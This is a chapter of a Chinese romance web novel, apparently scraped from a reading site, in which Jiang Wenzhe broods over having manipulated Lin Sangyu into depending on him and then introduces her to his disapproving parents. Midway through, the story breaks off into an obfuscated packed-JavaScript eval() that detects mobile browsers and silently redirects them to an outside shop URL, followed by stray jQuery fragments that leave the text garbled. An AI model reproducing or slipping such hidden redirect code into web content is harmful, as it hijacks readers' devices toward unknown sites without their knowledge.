隔着簇拥着的人群,江闻折看见唐淋正郁闷地一口接一口地灌酒,时不时抛来一个怨恨的目光。
“失陪一下。”江闻折借故离开,朝唐淋这边走来。
见人走来,唐淋问:“上楼聊聊?”
“走吧,怎么喝这么多酒。”扑面而来的酒味,江闻折忍不住眉头皱了一下。
两道修长挺拔的背影拨开人流,一前一后上到二楼窗台。
夜已经深了,星子在深蓝色的天空中闪。
唐淋用肘推了一下江闻折,开门见山道:“说说吧,你到底为什么要骗小鱼儿,我看她蛮喜欢你的啊。”
江闻折指尖有一搭没一搭地敲着栏杆,目光凝在远处的某个小点,他说:“你觉得依恋等于爱吗?”
什么离谱问题,唐淋嘴角抽搐了下,不假思索道:“依赖一个人不就是爱吗?反正我不会依赖一个我讨厌的人,我只会把他狠狠踩在脚下。”
“是吗?”江闻折这句话像是在问唐淋,也更像是在问自己。
他下了一盘很大的棋,他通过自己自以为是的拙劣手段,利用林桑渔敏感细腻、没有安全感的弱点,毫不费力地成功地塑造了她,让她离不开自己,依恋自己。
可是那是爱吗?
不是的吧。
依恋是心理层面的诉求,最早来自婴儿对哺育者的索取,是利己的自私,是单纯的你不能离开我。
而爱更多,她要的是林桑渔爱自己,爱是付出,是成全,是共情,是责任,是利他的无私,是一个人对另一个人最高的情感诉求。
而林桑渔对自己呢?
那是依恋,不是爱。
江闻折可以确定这一点,因为他就造成这一切的罪魁祸首。在她爱尚未成形时,江闻折如受蛊惑的亚当,罔顾善恶边界,吞下那颗善恶树的果子,又带着几分浅薄的自得将这份沉沦与她分享,这是他的原罪。
上次在伦敦时,林桑渔以玩笑的口吻说出她只喜欢自己的脸。
可是今天他已经三十二岁了,已经老了,连这点优势也要没有了。
上个月,他拎着给林桑渔预订的奶油蛋糕,路过一家护肤品店,不知哪根弦搭错,他鬼使神差地踏进这满是柔香的店,这与自己格格不入的店。
直到随着柜台小姐的动作,清凉的乳液划过脸颊,他才陡然回过神来,幻梦破碎,慌慌张张地又逃了出来。
那一刻他都不敢相信上一秒的那个人是自己。
微凉的风里,他僵在原地,再一个回神,他看见门外循环播放的大屏广告。
几个大字刺痛了他的眼睛。
——精准抗老,抚平岁月细纹。
那老了的江闻折,林桑渔会喜欢吗?
会觉得自己身上渐渐的有了老人味吗?会觉得自己很丑的吧。
林桑渔一生经历了无数场离别,她无措,她崩溃,她麻木,她为了不再经历离别,宁愿一个人孤独生活十几年,甚至由此开始痛恨自己长寿的生命。
那她还能接受年纪很大的江闻折吗?
也是不能的吧。
每一个养宠人士,在选择养宠物时,其实都是在为自己提前埋下一颗名为悲伤的种子。
那句话怎么说来着?吃我的,喝我的,离开了还要带走我的眼泪。
自己比林桑渔大了足足八岁,他于林桑渔来说也是亦然。
他就是那颗悲伤的种子,是那柄悬在头顶的达摩克里斯之剑,终有一天种子会破土,剑会挥斩直下,他的原罪终会殃及夏娃。
因而,他不敢对林桑渔说爱。
他们之间也不能说爱。
他是不配的,也是不堪的。
我明知你弱小无助,我明知你生命之轻,恐不能再经历一次离别,我明知你心思单纯,可我在知晓一切的前提下,还是被欲念蒙蔽双眼,选择伤害了你。
“什么意思?”唐淋扒着江闻折的胳膊,试图想看他的眼睛,与自己对视。
“没什么,算了,你就当我喜欢玩强娶豪夺吧。”江闻折摇摇头,很沉地吐出一口气,“有机会的话,回头告诉你。”
宴会的舒缓音乐依旧在流淌,酒液、汗渍味、香水味、晃动的人群虚影一同在波光粼粼的高脚杯中颤动,一同被扭曲、被炼化。
江闻折拾级而下,再次走进,这场独属于他的狂欢。
可是林桑渔,即便我图谋不轨,我心怀叵测,我罪孽深重。
对于你,我还是不愿放手。
违背上帝的命令,亚当和夏娃被无情地赶出伊甸园。可他们离开乐园后,依旧“二位一体”,即便内心产生嫌隙,却从未分离,共同承受着土地、生育的诅咒。
那么,我们也应该一样,即便是错,那也应该是此生纠缠在一起的情错。
宴会旋转门缓缓向两侧滑开,人群变得安静,侧目望去。
一行两人,男人端坐在灰黑色定制电动轮椅上,身着纯黑西装,肩线挺括利落,花白的头发被打理得一丝不苟,即便是坐在轮椅上,肩背依旧绷得笔直。沉而锐利的眸子淡然扫视周遭宾客,自带久居上位的压迫感。
身后推着他的是男人的太太,一身哑光香槟色长裙,气质温婉,眉眼如画,即便年岁已高,却不难窥见当年风采。
来人正是江闻折的父母,江耀庭与杨知槿。
江闻折走近,熟练地接过杨知槿手中轮椅的把柄,恭敬地喊了声:“爸,妈。”
杨知槿嘴角挂着慈祥的笑,当着众宾客的面,像一个温柔的母亲般拍了拍儿子的肩,嘴里的话却不显温度:“闻折,走吧,就让我们看看你不惜以大博小也要娶回家的女人。”
江闻折不遑多让,顺势拥抱了下面前的母亲,贴着她的耳朵,咬着牙,肌肉僵硬着,温柔地说:“好啊,就让母亲好好看看您未来的儿媳。”
眸光一压,唇角牵起,他又说:“至于等会儿见到了应该说些什么,母亲应该是知道的吧。”
一声醇厚的声音响起,江耀庭说:“还用不着你的提醒,领路吧,江闻折。我没时间陪你玩这种过家家的小游戏了。”
“好的,父亲。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650468|205654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
画面由近及远,一家三口笑着,儿子推着父亲,母亲挽着儿子,其乐融融地走进电梯。
推开包厢的门,江闻折就看见两个女孩正在贴一起,笑得花枝乱颤。
“江闻折,你忙完啦。”
林桑渔第一时间就发现了江闻折,她迫不及待地站起身向他走去,随后又在看清他身后的两人时,表情一瞬间僵住。
“这两位就是你的父母吗?”
江闻折淡淡道:“嗯,这就是我爸妈。”
惯会审时度势的黄珏,对四人赔笑道:“那我就不打扰你们了,叔叔阿姨我等会儿再来好好单独问候你们啊。”
黄珏走后,包厢内气氛诡异。
江闻折走到林桑渔身边,将她拉着重新坐回到了沙发上,破冰道:“都坐下说话吧。”
林桑渔捏了捏手心,面上尽可能地得体,她笑着道:“叔叔阿姨们好,我是林桑渔。”
杨知槿脸上挂着公式化的笑:“不必紧张,我们就是单纯来看看你。”
“这真的太麻烦叔叔阿姨了,应该是我去看望你们二老的,”不知道该说什么了,林桑渔稀里糊涂地随口说道,“啊……叔叔阿姨吃水果吗?这里的水果很甜。”
“不了,过五不食,我已经习惯了。”杨知槿优雅地抬手拒绝。
沉默良久的江耀庭发话道:“小林啊,我听闻折说,你是搞自媒体的,可以跟我们具体说说吗?”
还未等林桑渔开口,江闻折就先一步打断:“目前在做自媒体,但后期我会帮助她开属于自己的公司,借助她现在的流量,产销一体。”
“宠物行业,随着人口老龄化,现代年轻人观念的转变,未来必定是个新兴行业,我跟她有愿在这个行业深耕。”
这点江闻折从未跟她提过,林桑渔有些诧异地抬起头看他。
江耀庭双手交叠放在身前,眼底闪过精光:“是吗?你们年轻人有抱负是好事。想必有闻折带着你,小林你的事业肯定会一帆风顺的。”
江闻折再次挡在林桑渔身前,沉稳有力地说道:“恰恰相反,这方面应该是桑渔带着我,我对此并不熟悉,不管是产品的选料还是后期的营销,她都比我做得更好。”
木已成舟,面对江闻折毫不掩饰的护短,他现在无论再做什么也是徒劳。江耀庭哼笑一声,眼神扫过他一直暗暗给林桑渔顺背的手,他说:“那就是你们小年轻的事情了,提前祝愿你们能够成功吧。”
说罢,他摆摆手,对旁边的杨知槿说道:“我们还有事,就先走了,你们好好过二人世界吧。”
朽子不可雕也。
林桑渔下意识起身去送,但转头又被江闻折按了下来,他礼貌冲两人一笑:“那就慢走不送了,爸妈。”
门扇缓缓合拢,最后那一丝缝隙关上之前,是江耀庭不加掩饰的厌恶、鄙夷的眼神。
不过,比剜人眼神先到来之前,是江闻折的大掌。
林桑渔陷入温暖的黑暗。
睫毛扫过手心,江闻折说:“我们回家吧,现在就回家。”